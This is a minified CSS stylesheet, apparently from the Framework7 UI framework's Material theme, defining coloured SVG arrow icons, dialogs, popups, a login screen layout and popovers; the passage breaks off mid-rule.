.icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-green,.md a.link .color-green .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-green,.md a.link .color-green .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-blue,.md a.link .color-blue .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-blue,.md a.link .color-blue .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-blue,.md a.link .color-blue .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-blue,.md a.link .color-blue .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-pink,.md a.link .color-pink .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-pink,.md a.link .color-pink .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-pink,.md a.link .color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-pink,.md a.link .color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-yellow,.md a.link .color-yellow .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-yellow,.md a.link .color-yellow .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-yellow,.md a.link .color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-yellow,.md a.link .color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-orange,.md a.link .color-orange .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-orange,.md a.link .color-orange .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-orange,.md a.link .color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-orange,.md a.link .color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-gray,.md a.link .color-gray .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-gray,.md a.link .color-gray .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-gray,.md a.link .color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-gray,.md a.link .color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-white,.md a.link .color-white .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-white,.md a.link .color-white .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-white,.md a.link .color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-white,.md a.link .color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-black,.md a.link .color-black .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-black,.md a.link .color-black .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-black,.md a.link .color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-black,.md a.link .color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon.color-red{color:#f44336}.md .icon.color-green{color:#4caf50}.md .icon.color-blue{color:#2196f3}.md .icon.color-pink{color:#e91e63}.md .icon.color-yellow{color:#ffeb3b}.md .icon.color-orange{color:#ff9800}.md .icon.color-gray{color:#9e9e9e}.md .icon.color-white{color:#fff}.md .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transform:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.md .dialog{width:280px;margin-left:-140px;border-radius:4px;color:#757575;background:#fff;font-size:16px;-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}.md .dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.md .dialog.modal-out{opacity:0;z-index:13499;-webkit-transform:translate3d(0,0,0) scale(.815);transform:translate3d(0,0,0) scale(.815)}.md .dialog-inner{padding:24px 24px 20px}.md .dialog-title{font-size:20px;color:#212121;line-height:1.3}.md .dialog-title+.dialog-text{margin-top:20px}.md .dialog-text{line-height:1.5}.md .dialog-buttons{height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .dialog-buttons-vertical .dialog-buttons{padding:0 0 8px 0}.md .dialog-buttons-vertical .dialog-buttons .dialog-button{margin-left:0;text-align:right;height:48px;line-height:48px;border-radius:0;padding-left:16px;padding-right:16px}.md .dialog-button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);letter-spacing:.03em;font-weight:500}input[type=button].md .dialog-button,input[type=submit].md .dialog-button{width:100%}.md .dialog-button.active-state{background:rgba(0,0,0,.1)}.md .dialog-button.dialog-button-bold{font-weight:700}.md .dialog-button+.dialog-button{margin-left:4px}.md .dialog-input{height:36px;padding:0;border:none;font-size:16px;-webkit-transition-duration:.2s;transition-duration:.2s;position:relative}.md .dialog-input::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::placeholder{color:rgba(0,0,0,.35)}.md .dialog-input+.dialog-input{margin-top:16px}.md .dialog-preloader .dialog-inner,.md .dialog-preloader .dialog-title,.md .dialog-progress .dialog-inner,.md .dialog-progress .dialog-title{text-align:center}.md .dialog-preloader .dialog-text~.preloader,.md .dialog-preloader .dialog-title~.preloader{margin-top:20px}.md .dialog-progress .dialog-text~.progressbar,.md .dialog-progress .dialog-text~.progressbar-infinite,.md .dialog-progress .dialog-title~.progressbar,.md .dialog-progress .dialog-title~.progressbar-infinite{margin-top:16px}.md .dialog-button.color-red{color:#f44336}.md .dialog-button.color-green{color:#4caf50}.md .dialog-button.color-blue{color:#2196f3}.md .dialog-button.color-pink{color:#e91e63}.md .dialog-button.color-yellow{color:#ffeb3b}.md .dialog-button.color-orange{color:#ff9800}.md .dialog-button.color-gray{color:#9e9e9e}.md .dialog-button.color-white{color:#fff}.md .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media (max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}@media (min-width:630px) and (min-height:630px){.md .popup:not(.popup-tablet-fullscreen){-webkit-box-shadow:0 20px 44px rgba(0,0,0,.5);box-shadow:0 20px 44px rgba(0,0,0,.5)}}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.md .login-screen-content .block,.md .login-screen-content .list,.md .login-screen-content .login-screen-title{margin:24px auto}.md .login-screen-content .list-button{text-align:center;color:#2196f3}.md .login-screen-title{font-size:34px}.login-screen-content.md .theme-dark,.md .theme-dark .login-screen-content{background:0 0}.md .color-theme-red .login-screen-content .list-button{color:#f44336}.md .color-theme-green .login-screen-content .list-button{color:#4caf50}.md .color-theme-blue .login-screen-content .list-button{color:#2196f3}.md .color-theme-pink .login-screen-content .list-button{color:#e91e63}.md .color-theme-yellow .login-screen-content .list-button{color:#ffeb3b}.md .color-theme-orange .login-screen-content .list-button{color:#ff9800}.md .color-theme-gray .login-screen-content .list-button{color:#9e9e9e}.md .color-theme-white .login-screen-content .list-button{color:#fff}.md .color-theme-black .login-screen-content .list-button{color:#000}.md .login-screen-content .list-button.color-red{color:#f44336}.md .login-screen-content .list-button.color-green{color:#4caf50}.md .login-screen-content .list-button.color-blue{color:#2196f3}.md .login-screen-content .list-button.color-pink{color:#e91e63}.md .login-screen-content .list-button.color-yellow{color:#ffeb3b}.md .login-screen-content .list-button.color-orange{color:#ff9800}.md .login-screen-content .list-button.color-gray{color:#9e9e9e}.md .login-screen-content .list-button.color-white{color:#fff}.md .login-screen-content .list-button.color-black{color:#000}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.md .popover{background:#fff;border-radius:4px;-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12);-webkit-transform:scale(.85,.6);transform:scale(.85,.6);-webkit-transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,border-radius,-webkit-transform;transition-property:opacity,transform,border-radius;transition-property:opacity,transform,border-radius,-webkit-transform}.md .popover.modal-in{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.md .popover.modal-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.md .popover .list:first-child ul{border-radius:3px 3px 0 0}.md .popover .list:first-child li:first-child,.md .popover .list:first-child li:first-child a,.md .popover .list:first-child li:first-child>label{border-radius:3px 3px 0 0}.md .popover .list:last-child ul{border-radius:0 0 3px 3px}.md .popover .list:last-child li:last-child,.md .popover .list:last-child li:last-child a,.md .popover .list:last-child li:last-child>label{border-radius:0 0 3px 3px}.md .popover .list:first-child:last-child li:first-child:last-child,.md .popover .list:first-child:last-child li:first-child:last-child a,.md .popover .list:first-child:last-child li:first-child:last-child>label,.md .popover .list:first-child:last-child ul{border-radius:13px}.md .popover .list+.list{margin-top:35px}.md .popover-on-top{-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .popover-on-bottom{-webkit-transform-origin:center top;transform-origin:center top}.md .popover-from-actions .list{margin:0}.md .popover-from-actions .item-link i.icon{width:24px;height:24px;font-size:24px}.md .popover-from-actions-label{padding:8px 